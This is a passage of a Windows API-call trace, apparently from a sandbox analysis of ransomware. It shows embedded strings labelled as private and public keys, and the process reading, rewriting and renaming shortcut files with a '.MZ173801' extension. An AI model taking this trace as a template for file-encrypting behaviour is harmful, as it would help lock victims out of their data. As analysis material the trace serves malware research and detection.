lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.161] GetCurrentThreadId () returned 0xab4 [0153.161] GetCurrentThreadId () returned 0xab4 [0153.161] GetCurrentThreadId () returned 0xab4 [0153.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.162] GetCurrentThreadId () returned 0xab4 [0153.162] GetCurrentThreadId () returned 0xab4 [0153.162] GetCurrentThreadId () returned 0xab4 [0153.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_mpfsxtze1i_hsj02g.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.162] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.162] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.163] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x39d [0153.163] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.163] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x39d, lpOverlapped=0x0) returned 1 [0153.164] CloseHandle (hObject=0x280) returned 1 [0153.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_mpfsxtze1i_hsj02g.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.165] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x39d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x39d, lpOverlapped=0x0) returned 1 [0153.165] CloseHandle (hObject=0x280) returned 1 [0153.166] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_mpfsxtze1i_hsj02g.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_mpfsxtze1i_hsj02g.lnk.mz173801")) returned 1 [0153.167] GetCurrentThreadId () returned 0xab4 [0153.167] GetCurrentThreadId () returned 0xab4 [0153.167] GetCurrentThreadId () returned 0xab4 [0153.167] GetCurrentThreadId () returned 0xab4 [0153.167] GetCurrentThreadId () returned 0xab4 [0153.167] GetCurrentThreadId () returned 0xab4 [0153.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf158701a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf158701a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf158701a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_trbIxVN.lnk", cAlternateFileName="")) returned 1 [0153.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.167] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_trbixvn.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf158701a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf158701a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf158701a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc)) returned 1 [0153.167] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_trbixvn.lnk")) returned 0x20 [0153.167] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_trbIxVN.lnk", dwFileAttributes=0x80) returned 1 [0153.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 